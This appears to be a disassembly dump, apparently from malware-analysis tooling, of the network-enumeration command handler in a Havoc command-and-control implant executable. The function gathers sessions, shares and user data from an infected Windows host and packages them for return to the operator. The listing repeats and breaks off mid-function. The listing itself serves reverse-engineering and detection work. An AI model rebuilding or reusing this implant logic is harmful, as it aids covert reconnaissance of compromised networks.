File havoc_demon_9b6047883014e32c66300962e067762ee768a7a3f981ca51b1ce60ae7452421b.exe
Function:
Loading..
14000c640
14000c640CommandNet:
14000c640push r15
14000c642lea r9, [rip+0x1a023]
14000c649mov r8l, 2049
14000c64fpush r14
14000c651push r13
14000c653push r12
14000c655push rbp
14000c656mov rbp, rcx
14000c659push rdi
14000c65alea rdi, [rip+0x199a7]
14000c661push rsi
14000c662lea rsi, [rip+0x20cc7]
14000c669mov rcx, rdi
14000c66cpush rbx
14000c66dmov rdx, rsi
14000c670sub rsp, 136
14000c677call printf
14000c67cmov ecx, 2100
14000c681call PackageCreate
14000c686mov rcx, rbp
14000c689mov [rsp+88], rax
14000c68ecall ParserGetInt32
14000c693mov rcx, [rsp+88]
14000c698mov r12l, eax
14000c69bmov edx, eax
14000c69dcall PackageAddInt32
14000c6a2dec r12l
14000c6a5cmp r12l, 8
14000c6a9ja 0x14000cf43
14000c6aflea rdx, [rip+0x1a1ca]
14000c6b6movsxd rax, [rdx+4*r12]
14000c6baadd rax, rdx
14000c6bdjmp rax
14000c6bfmov rcx, rdi
14000c6c2mov r8l, 2059
14000c6c8mov rdx, rsi
14000c6cblea r9, [rip+0x19fa6]
14000c6d2lea rdi, [rsp+120]
14000c6d7call printf
14000c6dcxor r11l, r11l
14000c6dfxor edx, edx
14000c6e1mov r8, rdi
14000c6e4mov rbp, [rip+0x1fc85]
14000c6ebmov [rsp+120], r11l
14000c6f0mov ecx, 2
14000c6f5call [rbp+924]
14000c6fbtest eax, eax
14000c6fdjne 0x14000ca2c
14000c703mov edx, [rsp+120]
14000c707mov ecx, 64
14000c70ccall [rbp+932]
14000c712mov rsi, rax
14000c715test rax, rax
14000c718je 0x14000ca2c
14000c71emov r8, rdi
14000c721mov rdx, rax
14000c724mov ecx, 2
14000c729call [rbp+924]
14000c72ftest eax, eax
14000c731jne 0x14000c760
14000c733mov rax, [rbp+2230]
14000c73amov ecx, 1
14000c73fmov rdi, rsi
14000c742mov edx, [rax+104]
14000c745call PackageTransmitError
14000c74amov ecx, [rsp+120]
14000c74exor eax, eax
14000c750rep stosb [rdi], al
14000c752mov rcx, rsi
14000c755call [rbp+940]
14000c75bjmp 0x14000ca2c
14000c760
14000c760loc_14000c760:
14000c760mov rcx, [rsp+88]
14000c765mov rdx, rsi
14000c768mov rdi, rsi
14000c76bcall PackageAddString
14000c770mov ecx, [rsp+120]
14000c774xor eax, eax
14000c776rep stosb [rdi], al
14000c778mov rcx, rsi
14000c77bcall [rbp+940]
14000c781jmp 0x14000cf5b
14000c786mov rcx, rdi
14000c789lea r13, [rsp+120]
14000c78elea r14, [rsp+112]
14000c793mov rdx, rsi
14000c796lea r9, [rip+0x19ef4]
14000c79dmov r8l, 2094
14000c7a3call printf
14000c7a8xor r9l, r9l
14000c7abxor r8l, r8l
14000c7aelea rdx, [rsp+116]
14000c7b3mov rcx, rbp
14000c7b6mov [rsp+120], r8
14000c7bbmov [rsp+104], r9l
14000c7c0mov [rsp+108], r9l
14000c7c5mov [rsp+112], r9l
14000c7camov [rsp+116], r9l
14000c7cfcall ParserGetWString
14000c7d4mov rcx, [rsp+88]
14000c7d9mov rdx, rax
14000c7dcmov r12, rax
14000c7dfcall PackageAddWString
14000c7e4xor r10l, r10l
14000c7e7mov rdi, [rip+0x1fb82]
14000c7eemov [rsp+116], r10l
14000c7f3
14000c7f3loc_14000c7f3:
14000c7f3lea rax, [rsp+108]
14000c7f8mov [rsp+48], r14
14000c7fdor r9l, -1
14000c801xor edx, edx
14000c803mov [rsp+40], rax
14000c808lea rax, [rsp+104]
14000c80dmov r8, r13
14000c810mov rcx, r12
14000c813mov [rsp+32], rax
14000c818call [rdi+1788]
14000c81emov ebp, eax
14000c820test eax, eax
14000c822je 0x14000c82b
14000c824cmp eax, 234
14000c829jne 0x14000c852
14000c82b
14000c82bloc_14000c82b:
14000c82bxor r15l, r15l
14000c82e
14000c82eloc_14000c82e:
14000c82emov rcx, [rsp+120]
14000c833cmp r15l, [rsp+104]
14000c838jae 0x14000c886
14000c83atest rcx, rcx
14000c83dje 0x14000c898
14000c83fmov rdx, [rcx+8*r15]
14000c843mov rcx, [rsp+88]
14000c848inc r15
14000c84bcall PackageAddWString
14000c850jmp 0x14000c82e
14000c852
14000c852loc_14000c852:
14000c852mov r12, [rdi+2230]
14000c859mov ecx, eax
14000c85bcall [rdi+348]
14000c861mov r8l, 2127
14000c867mov rdx, rsi
14000c86alea rcx, [rip+0x19e39]
14000c871mov [r12+104], eax
14000c876mov rax, [rdi+2230]
14000c87dmov r9l, [rax+104]
14000c881jmp 0x14000c9de
14000c886
14000c886loc_14000c886:
14000c886test rcx, rcx
14000c889je 0x14000c898
14000c88bcall [rdi+1836]
14000c891xor ecx, ecx
14000c893mov [rsp+120], rcx
14000c898
14000c898loc_14000c898:
14000c898cmp ebp, 234
14000c89eje 0x14000c7f3
14000c8a4jmp 0x14000ce27
14000c8a9mov rcx, rdi
14000c8aclea r14, [rsp+112]
14000c8b1lea r15, [rsp+108]
14000c8b6mov rdx, rsi
14000c8b9lea r9, [rip+0x19e19]
14000c8c0mov r8l, 2155
14000c8c6call printf
14000c8cbxor eax, eax
14000c8cdlea rdx, [rsp+116]
14000c8d2mov rcx, rbp
14000c8d5mov [rsp+120], rax
14000c8daxor eax, eax
14000c8dcmov [rsp+104], eax
14000c8e0mov [rsp+108], eax
14000c8e4mov [rsp+112], eax
14000c8e8mov [rsp+116], eax
14000c8eccall ParserGetWString
14000c8f1mov rcx, [rsp+88]
14000c8f6mov rdx, rax
14000c8f9mov r12, rax
14000c8fccall PackageAddWString
14000c901xor edx, edx
14000c903mov rdi, [rip+0x1fa66]
14000c90amov [rsp+116], edx
14000c90e
14000c90eloc_14000c90e:
14000c90elea rax, [rsp+104]
14000c913mov [rsp+64], r14
14000c918xor r8l, r8l
14000c91bxor edx, edx
14000c91dmov [rsp+48], rax
14000c922lea rax, [rsp+120]
14000c927mov r9l, 10
14000c92dmov rcx, r12
14000c930mov [rsp+56], r15
14000c935mov [rsp+40], -1
14000c93dmov [rsp+32], rax
14000c942call [rdi+1796]
14000c948mov ebp, eax
14000c94atest eax, eax
14000c94cje 0x14000c955
14000c94ecmp eax, 234
14000c953jne 0x14000c9c3
14000c955
14000c955loc_14000c955:
14000c955xor ebx, ebx
14000c957
14000c957loc_14000c957:
14000c957mov rcx, [rsp+120]
14000c95ccmp ebx, [rsp+104]
14000c960jae 0x14000ca09
14000c966test rcx, rcx
14000c969je 0x14000ca1b
14000c96fimul r13, rbx, 24
14000c973inc rbx
14000c976mov rdx, [rcx+r13+8]
14000c97bmov rcx, [rsp+88]
14000c980call PackageAddWString
14000c985mov rdx, [rsp+120]
14000c98amov rcx, [rsp+88]
14000c98fmov rdx, [rdx+r13+8]
14000c994call PackageAddWString
14000c999mov rdx, [rsp+120]
14000c99emov rcx, [rsp+88]
14000c9a3mov edx, [rdx+r13+16]
14000c9a8call PackageAddInt32
14000c9admov rdx, [rsp+120]
14000c9b2mov rcx, [rsp+88]
14000c9b7mov edx, [rdx+r13+20]
14000c9bccall PackageAddInt32
14000c9c1jmp 0x14000c957
14000c9c3
14000c9c3loc_14000c9c3:
14000c9c3mov rax, [rdi+2230]
14000c9camov r8l, 2189
14000c9d0mov rdx, rsi
14000c9d3lea rcx, [rip+0x19d1a]
14000c9damov r9l, [rax+104]
14000c9de
14000c9deloc_14000c9de:
14000c9decall printf
14000c9e3mov rax, [rdi+2230]
14000c9eamov ecx, 1
14000c9efmov edx, [rax+104]
14000c9f2call PackageTransmitError
14000c9f7mov rcx, [rsp+120]
14000c9fctest rcx, rcx
14000c9ffje 0x14000ca2c
14000ca01call [rdi+1836]
14000ca07jmp 0x14000ca2c
14000ca09
14000ca09loc_14000ca09:
14000ca09test rcx, rcx
14000ca0cje 0x14000ca1b
14000ca0ecall [rdi+1836]
14000ca14xor eax, eax
14000ca16mov [rsp+120], rax
14000ca1b
14000ca1bloc_14000ca1b:
14000ca1bcmp ebp, 234
14000ca21je 0x14000c90e
14000ca27jmp 0x14000ce27
14000ca2c
14000ca2cloc_14000ca2c:
14000ca2cmov rcx, [rsp+88]
14000ca31call PackageDestroy
14000ca36add rsp, 136
14000ca3dpop rbx
14000ca3epop rsi
14000ca3fpop rdi
14000ca40pop rbp
14000ca41pop r12
14000ca43pop r13
14000ca45pop r14
14000ca47pop r15
14000ca49ret
14000ca4alea r9, [rip+0x19cd0]
14000ca51mov r8l, 2217
14000ca57jmp 0x14000cf50
14000ca5clea r9, [rip+0x19cd9]
14000ca63mov r8l, 2224
14000ca69jmp 0x14000cf50
14000ca6elea r9, [rip+0x19ce0]
14000ca75mov r8l, 2230
14000ca7bmov rdx, rsi
14000ca7emov rcx, rdi
14000ca81call printf
14000ca86xor eax, eax
14000ca88lea rdx, [rsp+116]
14000ca8dmov rcx, rbp
14000ca90mov [rsp+120], rax
14000ca95xor eax, eax
14000ca97lea r14, [rip+0x19ccf]
14000ca9emov [rsp+104], eax
14000caa2mov [rsp+108], eax
14000caa6mov [rsp+112], eax
14000caaamov [rsp+116], eax
14000caaecall ParserGetWString
14000cab3mov rcx, [rsp+88]
14000cab8mov rdx, rax
14000cabbmov r12, rax
14000cabecall PackageAddWString
14000cac3mov r13, [rip+0x1f8a6]
14000caca
14000cacaloc_14000caca:
14000cacalea rax, [rsp+112]
14000cacfor r9l, -1
14000cad3lea r8, [rsp+120]
14000cad8mov rcx, r12
14000cadbmov [rsp+48], rax
14000cae0lea rax, [rsp+108]
14000cae5mov edx, 502
14000caeamov [rsp+40], rax
14000caeflea rax, [rsp+104]
14000caf4mov [rsp+32], rax
14000caf9call [r13+1828]
14000cb00mov ebp, eax
14000cb02test eax, eax
14000cb04je 0x14000cb11
14000cb06cmp eax, 234
14000cb0bjne 0x14000cbd1
14000cb11
14000cb11loc_14000cb11:
14000cb11xor r15l, r15l
14000cb14
14000cb14loc_14000cb14:
14000cb14mov rcx, [rsp+120]
14000cb19cmp r15l, [rsp+104]
14000cb1ejae 0x14000cbb1
14000cb24mov edi, r15l
14000cb27mov r8l, 2250
14000cb2dmov rdx, rsi
14000cb30inc r15l
14000cb33imul rdi, rdi, 72
14000cb37add rcx, rdi
14000cb3amov rax, [rcx+16]
14000cb3emov [rsp+48], rax
14000cb43mov eax, [rcx+24]
14000cb46mov [rsp+40], eax
14000cb4amov rax, [rcx+40]
14000cb4emov [rsp+32], rax
14000cb53mov r9, [rcx]
14000cb56mov rcx, r14
14000cb59call printf
14000cb5emov rax, [rsp+120]
14000cb63mov rcx, [rsp+88]
14000cb68mov rdx, [rax+rdi]
14000cb6ccall PackageAddWString
14000cb71mov rax, [rsp+120]
14000cb76mov rcx, [rsp+88]
14000cb7bmov rdx, [rax+rdi+40]
14000cb80call PackageAddWString
14000cb85mov rax, [rsp+120]
14000cb8amov rcx, [rsp+88]
14000cb8fmov rdx, [rax+rdi+16]
14000cb94call PackageAddWString
14000cb99mov rax, [rsp+120]
14000cb9emov rcx, [rsp+88]
14000cba3mov edx, [rax+rdi+24]
14000cba7call PackageAddInt32
14000cbacjmp 0x14000cb14
14000cbb1
14000cbb1loc_14000cbb1:
14000cbb1call [r13+1836]
14000cbb8xor r15l, r15l
14000cbbbmov [rsp+120], r15
14000cbc0cmp ebp, 234
14000cbc6je 0x14000caca
14000cbccjmp 0x14000cf5b
14000cbd1
14000cbd1loc_14000cbd1:
14000cbd1mov r9l, eax
14000cbd4mov r8l, 2262
14000cbdamov rdx, rsi
14000cbddlea rcx, [rip+0x19bb1]
14000cbe4call printf
14000cbe9jmp 0x14000cf5b
14000cbeelea r9, [rip+0x19bbc]
14000cbf5mov rdx, rsi
14000cbf8mov rcx, rdi
14000cbfbxor ebx, ebx
14000cbfdmov r8l, 2271
14000cc03xor r13l, r13l
14000cc06call printf
14000cc0bxor r11l, r11l
14000cc0emov rcx, rbp
14000cc11lea rdx, [rsp+116]
14000cc16mov [rsp+120], r11
14000cc1bmov [rsp+108], ebx
14000cc1fmov [rsp+112], ebx
14000cc23mov [rsp+116], ebx
14000cc27call ParserGetWString
14000cc2cmov rcx, [rsp+88]
14000cc31mov rbp, rax
14000cc34mov rdx, rax
14000cc37call PackageAddWString
14000cc3cmov r9, rbp
14000cc3fmov rdx, rsi
14000cc42mov r8l, 2283
14000cc48lea rcx, [rip+0x19b7f]
14000cc4fcall printf
14000cc54lea rax, [rsp+112]
14000cc59or r9l, -1
14000cc5dmov r12, [rip+0x1f70c]
14000cc64mov [rsp+40], rax
14000cc69lea rax, [rsp+108]
14000cc6elea r8, [rsp+120]
14000cc73mov rcx, rbp
14000cc76mov [rsp+48], r13
14000cc7bmov edx, 1
14000cc80mov [rsp+32], rax
14000cc85call [r12+1804]
14000cc8dtest eax, eax
14000cc8fje 0x14000cc9c
14000cc91cmp eax, 234
14000cc96jne 0x14000cf5b
14000cc9c
14000cc9cloc_14000cc9c:
14000cc9cmov rdx, rsi
14000cc9flea r9, [rip+0x19b4b]
14000cca6mov rcx, rdi
14000cca9xor esi, esi
14000ccabmov r8l, 2288
14000ccb1call printf
14000ccb6cmp [rsp+120], 0
14000ccbcje 0x14000cf5b
14000ccc2
14000ccc2loc_14000ccc2:
14000ccc2mov rcx, [rsp+120]
14000ccc7cmp esi, [rsp+108]
14000cccbjae 0x14000ccf9
14000cccdmov edi, esi
14000cccfinc esi
14000ccd1shl rdi, 4
14000ccd5mov rdx, [rcx+rdi]
14000ccd9mov rcx, [rsp+88]
14000ccdecall PackageAddWString
14000cce3mov rax, [rsp+120]
14000cce8mov rcx, [rsp+88]
14000ccedmov rdx, [rax+rdi+8]
14000ccf2call PackageAddWString
14000ccf7jmp 0x14000ccc2
14000ccf9
14000ccf9loc_14000ccf9:
14000ccf9call [r12+1836]
14000cd01jmp 0x14000cf5b
14000cd06mov rcx, rdi
14000cd09lea r9, [rip+0x19afe]
14000cd10mov r8l, 2307
14000cd16mov rdx, rsi
14000cd19call printf
14000cd1exor r9l, r9l
14000cd21xor r8l, r8l
14000cd24mov rcx, rbp
14000cd27lea rdx, [rsp+116]
14000cd2cmov [rsp+120], r8
14000cd31mov [rsp+108], r9l
14000cd36mov [rsp+112], r9l
14000cd3bmov [rsp+116], r9l
14000cd40call ParserGetWString
14000cd45mov rcx, [rsp+88]
14000cd4amov rdx, rax
14000cd4dmov rbp, rax
14000cd50call PackageAddWString
14000cd55lea rax, [rsp+112]
14000cd5axor r10l, r10l
14000cd5dmov rcx, rbp
14000cd60mov rdi, [rip+0x1f609]
14000cd67mov [rsp+40], rax
14000cd6clea rax, [rsp+108]
14000cd71or r9l, -1
14000cd75mov [rsp+48], r10
14000cd7alea r8, [rsp+120]
14000cd7fmov edx, 1
14000cd84mov [rsp+32], rax
14000cd89call [rdi+1812]
14000cd8ftest eax, eax
14000cd91je 0x14000cd9a
14000cd93cmp eax, 234
14000cd98jne 0x14000cdef
14000cd9a
14000cd9aloc_14000cd9a:
14000cd9axor esi, esi
14000cd9ccmp [rsp+120], 0
14000cda2jne 0x14000cdb8
14000cda4
14000cda4loc_14000cda4:
14000cda4mov rcx, [rsp+120]
14000cda9call [rdi+1836]
14000cdafxor ecx, ecx
14000cdb1mov [rsp+120], rcx
14000cdb6jmp 0x14000ce27
14000cdb8
14000cdb8loc_14000cdb8:
14000cdb8mov rax, [rsp+120]
14000cdbdcmp esi, [rsp+108]
14000cdc1jae 0x14000cda4
14000cdc3mov ebp, esi
14000cdc5mov rcx, [rsp+88]
14000cdcainc esi
14000cdccshl rbp, 4
14000cdd0mov rdx, [rax+rbp]
14000cdd4call PackageAddWString
14000cdd9mov rax, [rsp+120]
14000cddemov rcx, [rsp+88]
14000cde3mov rdx, [rax+rbp+8]
14000cde8call PackageAddWString
14000cdedjmp 0x14000cdb8
14000cdef
14000cdefloc_14000cdef:
14000cdefmov rdx, [rdi+2230]
14000cdf6lea rcx, [rip+0x19a29]
14000cdfdmov r8l, 2336
14000ce03mov r9l, [rdx+104]
14000ce07mov [rsp+32], eax
14000ce0bmov rdx, rsi
14000ce0ecall printf
14000ce13mov rax, [rdi+2230]
14000ce1amov ecx, 1
14000ce1fmov edx, [rax+104]
14000ce22call PackageTransmitError
14000ce27
14000ce27loc_14000ce27:
14000ce27mov rcx, [rsp+120]
14000ce2cjmp 0x14000cefc
14000ce31lea r9, [rip+0x19a1e]
14000ce38mov r8l, 2351
14000ce3emov rcx, rdi
14000ce41mov rdx, rsi
14000ce44call printf
14000ce49xor edx, edx
14000ce4bxor eax, eax
14000ce4dmov rcx, rbp
14000ce50mov [rsp+104], edx
14000ce54mov [rsp+108], edx
14000ce58mov [rsp+112], edx
14000ce5cmov [rsp+116], edx
14000ce60lea rdx, [rsp+116]
14000ce65mov [rsp+120], rax
14000ce6acall ParserGetWString
14000ce6fmov rcx, [rsp+88]
14000ce74mov rdx, rax
14000ce77mov rbp, rax
14000ce7acall PackageAddWString
14000ce7flea rax, [rsp+112]
14000ce84xor r8l, r8l
14000ce87xor edx, edx
14000ce89mov [rsp+56], rax
14000ce8emov rdi, [rip+0x1f4db]
14000ce95lea rax, [rsp+108]
14000ce9amov rcx, rbp
14000ce9dmov [rsp+48], rax
14000cea2lea rax, [rsp+104]
14000cea7lea r9, [rsp+120]
14000ceacmov [rsp+40], rax
14000ceb1mov [rsp+32], -1
14000ceb9call [rdi+1820]
14000cebftest eax, eax
14000cec1je 0x14000ceca
14000cec3cmp eax, 234
14000cec8jne 0x14000cf09
14000ceca
14000cecaloc_14000ceca:
14000cecaxor esi, esi
14000cecc
14000ceccloc_14000cecc:
14000ceccmov rcx, [rsp+120]
14000ced1cmp esi, [rsp+104]
14000ced5jae 0x14000cefc
14000ced7mov eax, esi
14000ced9mov rdx, [rcx+8*rax]
14000ceddtest rdx, rdx
14000cee0je 0x14000cef8
14000cee2mov rcx, [rsp+88]
14000cee7call PackageAddWString
14000ceecmov rcx, [rsp+88]
14000cef1xor edx, edx
14000cef3call PackageAddInt32
14000cef8
14000cef8loc_14000cef8:
14000cef8inc esi
14000cefajmp 0x14000cecc
14000cefc
14000cefcloc_14000cefc:
14000cefctest rcx, rcx
14000ceffje 0x14000cf5b
14000cf01call [rdi+1836]
14000cf07jmp 0x14000cf5b
14000cf09
14000cf09loc_14000cf09:
14000cf09mov rdx, [rdi+2230]
14000cf10mov r8l, 2384
14000cf16lea rcx, [rip+0x19909]
14000cf1dmov r9l, [rdx+104]
14000cf21mov [rsp+32], eax
14000cf25mov rdx, rsi
14000cf28call printf
14000cf2dmov rax, [rdi+2230]
14000cf34mov ecx, 1
14000cf39mov edx, [rax+104]
14000cf3ccall PackageTransmitError
14000cf41jmp 0x14000cf5b
14000cf43
14000cf43loc_14000cf43:
14000cf43lea r9, [rip+0x19923]
14000cf4amov r8l, 2393
14000cf50
14000cf50loc_14000cf50:
14000cf50mov rdx, rsi
14000cf53mov rcx, rdi
14000cf56call printf
14000cf5b
14000cf5bloc_14000cf5b:
14000cf5bmov rcx, [rsp+88]
14000cf60add rsp, 136
14000cf67pop rbx
14000cf68pop rsi
14000cf69pop rdi
14000cf6apop rbp
14000cf6bpop r12
14000cf6dpop r13
14000cf6fpop r14
14000cf71pop r15
14000cf73jmp 0x140018b90
14000c640
14000c640CommandNet:
14000c640push r15
14000c642lea r9, [rip+0x1a023]
14000c649mov r8l, 2049
14000c64fpush r14
14000c651push r13
14000c653push r12
14000c655push rbp
14000c656mov rbp, rcx
14000c659push rdi
14000c65alea rdi, [rip+0x199a7]
14000c661push rsi
14000c662lea rsi, [rip+0x20cc7]
14000c669mov rcx, rdi
14000c66cpush rbx
14000c66dmov rdx, rsi
14000c670sub rsp, 136
14000c677call printf
14000c67cmov ecx, 2100
14000c681call PackageCreate
14000c686mov rcx, rbp
14000c689mov [rsp+88], rax
14000c68ecall ParserGetInt32
14000c693mov rcx, [rsp+88]
14000c698mov r12l, eax
14000c69bmov edx, eax
14000c69dcall PackageAddInt32
14000c6a2dec r12l
14000c6a5cmp r12l, 8
14000c6a9ja 0x14000cf43
14000c6aflea rdx, [rip+0x1a1ca]
14000c6b6movsxd rax, [rdx+4*r12]
14000c6baadd rax, rdx
14000c6bdjmp rax
14000c6bfmov rcx, rdi
14000c6c2mov r8l, 2059
14000c6c8mov rdx, rsi
14000c6cblea r9, [rip+0x19fa6]
14000c6d2lea rdi, [rsp+120]
14000c6d7call printf
14000c6dcxor r11l, r11l
14000c6dfxor edx, edx
14000c6e1mov r8, rdi
14000c6e4mov rbp, [rip+0x1fc85]
14000c6ebmov [rsp+120], r11l
14000c6f0mov ecx, 2
14000c6f5call [rbp+924]
14000c6fbtest eax, eax
14000c6fdjne 0x14000ca2c
14000c703mov edx, [rsp+120]
14000c707mov ecx, 64
14000c70ccall [rbp+932]
14000c712mov rsi, rax
14000c715test rax, rax
14000c718je 0x14000ca2c
14000c71emov r8, rdi
14000c721mov rdx, rax
14000c724mov ecx, 2
14000c729call [rbp+924]
14000c72ftest eax, eax
14000c731jne 0x14000c760
14000c733mov rax, [rbp+2230]
14000c73amov ecx, 1
14000c73fmov rdi, rsi
14000c742mov edx, [rax+104]
14000c745call PackageTransmitError
14000c74amov ecx, [rsp+120]
14000c74exor eax, eax
14000c750rep stosb [rdi], al
14000c752mov rcx, rsi
14000c755call [rbp+940]
14000c75bjmp 0x14000ca2c
14000c760
14000c760loc_14000c760:
14000c760mov rcx, [rsp+88]
14000c765mov rdx, rsi
14000c768mov rdi, rsi
14000c76bcall PackageAddString
14000c770mov ecx, [rsp+120]
14000c774xor eax, eax
14000c776rep stosb [rdi], al
14000c778mov rcx, rsi
14000c77bcall [rbp+940]
14000c781jmp 0x14000cf5b
14000c786mov rcx, rdi
14000c789lea r13, [rsp+120]
14000c78elea r14, [rsp+112]
14000c793mov rdx, rsi
14000c796lea r9, [rip+0x19ef4]
14000c79dmov r8l, 2094
14000c7a3call printf
14000c7a8xor r9l, r9l
14000c7abxor r8l, r8l
14000c7aelea rdx, [rsp+116]
14000c7b3mov rcx, rbp
14000c7b6mov [rsp+120], r8
14000c7bbmov [rsp+104], r9l
14000c7c0mov [rsp+108], r9l
14000c7c5mov [rsp+112], r9l
14000c7camov [rsp+116], r9l
14000c7cfcall ParserGetWString
14000c7d4mov rcx, [rsp+88]
14000c7d9mov rdx, rax
14000c7dcmov r12, rax
14000c7dfcall PackageAddWString
14000c7e4xor r10l, r10l
14000c7e7mov rdi, [rip+0x1fb82]
14000c7eemov [rsp+116], r10l
14000c7f3
14000c7f3loc_14000c7f3:
14000c7f3lea rax, [rsp+108]
14000c7f8mov [rsp+48], r14
14000c7fdor r9l, -1
14000c801xor edx, edx
14000c803mov [rsp+40], rax
14000c808lea rax, [rsp+104]
14000c80dmov r8, r13
14000c810mov rcx, r12
14000c813mov [rsp+32], rax
14000c818call [rdi+1788]
14000c81emov ebp, eax
14000c820test eax, eax
14000c822je 0x14000c82b
14000c824cmp eax, 234
14000c829jne 0x14000c852
14000c82b
14000c82bloc_14000c82b:
14000c82bxor r15l, r15l
14000c82e
14000c82eloc_14000c82e:
14000c82emov rcx, [rsp+120]
14000c833cmp r15l, [rsp+104]
14000c838jae 0x14000c886
14000c83atest rcx, rcx
14000c83dje 0x14000c898
14000c83fmov rdx, [rcx+8*r15]
14000c843mov rcx, [rsp+88]
14000c848inc r15
14000c84bcall PackageAddWString
14000c850jmp 0x14000c82e
14000c852
14000c852loc_14000c852:
14000c852mov r12, [rdi+2230]
14000c859mov ecx, eax
14000c85bcall [rdi+348]
14000c861mov r8l, 2127
14000c867mov rdx, rsi
14000c86alea rcx, [rip+0x19e39]
14000c871mov [r12+104], eax
14000c876mov rax, [rdi+2230]
14000c87dmov r9l, [rax+104]
14000c881jmp 0x14000c9de
14000c886
14000c886loc_14000c886:
14000c886test rcx, rcx
14000c889je 0x14000c898
14000c88bcall [rdi+1836]
14000c891xor ecx, ecx
14000c893mov [rsp+120], rcx
14000c898
14000c898loc_14000c898:
14000c898cmp ebp, 234
14000c89eje 0x14000c7f3
14000c8a4jmp 0x14000ce27
14000c8a9mov rcx, rdi
14000c8aclea r14, [rsp+112]
14000c8b1lea r15, [rsp+108]
14000c8b6mov rdx, rsi
14000c8b9lea r9, [rip+0x19e19]
14000c8c0mov r8l, 2155
14000c8c6call printf
14000c8cbxor eax, eax
14000c8cdlea rdx, [rsp+116]
14000c8d2mov rcx, rbp
14000c8d5mov [rsp+120], rax
14000c8daxor eax, eax
14000c8dcmov [rsp+104], eax
14000c8e0mov [rsp+108], eax
14000c8e4mov [rsp+112], eax
14000c8e8mov [rsp+116], eax
14000c8eccall ParserGetWString
14000c8f1mov rcx, [rsp+88]
14000c8f6mov rdx, rax
14000c8f9mov r12, rax
14000c8fccall PackageAddWString
14000c901xor edx, edx
14000c903mov rdi, [rip+0x1fa66]
14000c90amov [rsp+116], edx
14000c90e
14000c90eloc_14000c90e:
14000c90elea rax, [rsp+104]
14000c913mov [rsp+64], r14
14000c918xor r8l, r8l
14000c91bxor edx, edx
14000c91dmov [rsp+48], rax
14000c922lea rax, [rsp+120]
14000c927mov r9l, 10
14000c92dmov rcx, r12
14000c930mov [rsp+56], r15
14000c935mov [rsp+40], -1
14000c93dmov [rsp+32], rax
14000c942call [rdi+1796]
14000c948mov ebp, eax
14000c94atest eax, eax
14000c94cje 0x14000c955
14000c94ecmp eax, 234
14000c953jne 0x14000c9c3
14000c955
14000c955loc_14000c955:
14000c955xor ebx, ebx
14000c957
14000c957loc_14000c957:
14000c957mov rcx, [rsp+120]
14000c95ccmp ebx, [rsp+104]
14000c960jae 0x14000ca09
14000c966test rcx, rcx
14000c969je 0x14000ca1b
14000c96fimul r13, rbx, 24
14000c973inc rbx
14000c976mov rdx, [rcx+r13+8]
14000c97bmov rcx, [rsp+88]
14000c980call PackageAddWString
14000c985mov rdx, [rsp+120]
14000c98amov rcx, [rsp+88]
14000c98fmov rdx, [rdx+r13+8]
14000c994call PackageAddWString
14000c999mov rdx, [rsp+120]
14000c99emov rcx, [rsp+88]
14000c9a3mov edx, [rdx+r13+16]
14000c9a8call PackageAddInt32
14000c9admov rdx, [rsp+120]
14000c9b2mov rcx, [rsp+88]
14000c9b7mov edx, [rdx+r13+20]
14000c9bccall PackageAddInt32
14000c9c1jmp 0x14000c957
14000c9c3
14000c9c3loc_14000c9c3:
14000c9c3mov rax, [rdi+2230]
14000c9camov r8l, 2189
14000c9d0mov rdx, rsi
14000c9d3lea rcx, [rip+0x19d1a]
14000c9damov r9l, [rax+104]
14000c9de
14000c9deloc_14000c9de:
14000c9decall printf
14000c9e3mov rax, [rdi+2230]
14000c9eamov ecx, 1
14000c9efmov edx, [rax+104]
14000c9f2call PackageTransmitError
14000c9f7mov rcx, [rsp+120]
14000c9fctest rcx, rcx
14000c9ffje 0x14000ca2c
14000ca01call [rdi+1836]
14000ca07jmp 0x14000ca2c
14000ca09
14000ca09loc_14000ca09:
14000ca09test rcx, rcx
14000ca0cje 0x14000ca1b
14000ca0ecall [rdi+1836]
14000ca14xor eax, eax
14000ca16mov [rsp+120], rax
14000ca1b
14000ca1bloc_14000ca1b:
14000ca1bcmp ebp, 234
14000ca21je 0x14000c90e
14000ca27jmp 0x14000ce27
14000ca2c
14000ca2cloc_14000ca2c:
14000ca2cmov rcx, [rsp+88]
14000ca31call PackageDestroy
14000ca36add rsp, 136
14000ca3dpop rbx
14000ca3epop rsi
14000ca3fpop rdi
14000ca40pop rbp
14000ca41pop r12
14000ca43pop r13
14000ca45pop r14
14000ca47pop r15
14000ca49ret
14000ca4alea r9, [rip+0x19cd0]
14000ca51mov r8l, 2217
14000ca57jmp 0x14000cf50
14000ca5clea r9, [rip+0x19cd9]
14000ca63mov r8l, 2224
14000ca69jmp 0x14000cf50
14000ca6elea r9, [rip+0x19ce0]
14000ca75mov r8l, 2230
14000ca7bmov rdx, rsi
14000ca7emov rcx, rdi
14000ca81call printf
14000ca86xor eax, eax
14000ca88lea rdx, [rsp+116]
14000ca8dmov rcx, rbp
14000ca90mov [rsp+120], rax
14000ca95xor eax, eax
14000ca97lea r14, [rip+0x19ccf]
14000ca9emov [rsp+104], eax
14000caa2mov [rsp+108], eax
14000caa6mov [rsp+112], eax
14000caaamov [rsp+116], eax
14000caaecall ParserGetWString
14000cab3mov rcx, [rsp+88]
14000cab8mov rdx, rax
14000cabbmov r12, rax
14000cabecall PackageAddWString
14000cac3mov r13, [rip+0x1f8a6]
14000caca
14000cacaloc_14000caca:
14000cacalea rax, [rsp+112]
14000cacfor r9l, -1
14000cad3lea r8, [rsp+120]
14000cad8mov rcx, r12
14000cadbmov [rsp+48], rax
14000cae0lea rax, [rsp+108]
14000cae5mov edx, 502
14000caeamov [rsp+40], rax
14000caeflea rax, [rsp+104]
14000caf4mov [rsp+32], rax
14000caf9call [r13+1828]
14000cb00mov ebp, eax
14000cb02test eax, eax
14000cb04je 0x14000cb11
14000cb06cmp eax, 234
14000cb0bjne 0x14000cbd1
14000cb11
14000cb11loc_14000cb11:
14000cb11xor r15l, r15l
14000cb14
14000cb14loc_14000cb14:
14000cb14mov rcx, [rsp+120]
14000cb19cmp r15l, [rsp+104]
14000cb1ejae 0x14000cbb1
14000cb24mov edi, r15l
14000cb27mov r8l, 2250
14000cb2dmov rdx, rsi
14000cb30inc r15l
14000cb33imul rdi, rdi, 72
14000cb37add rcx, rdi
14000cb3amov rax, [rcx+16]
14000cb3emov [rsp+48], rax
14000cb43mov eax, [rcx+24]
14000cb46mov [rsp+40], eax
14000cb4amov rax, [rcx+40]
14000cb4emov [rsp+32], rax
14000cb53mov r9, [rcx]
14000cb56mov rcx, r14
14000cb59call printf
14000cb5emov rax, [rsp+120]
14000cb63mov rcx, [rsp+88]
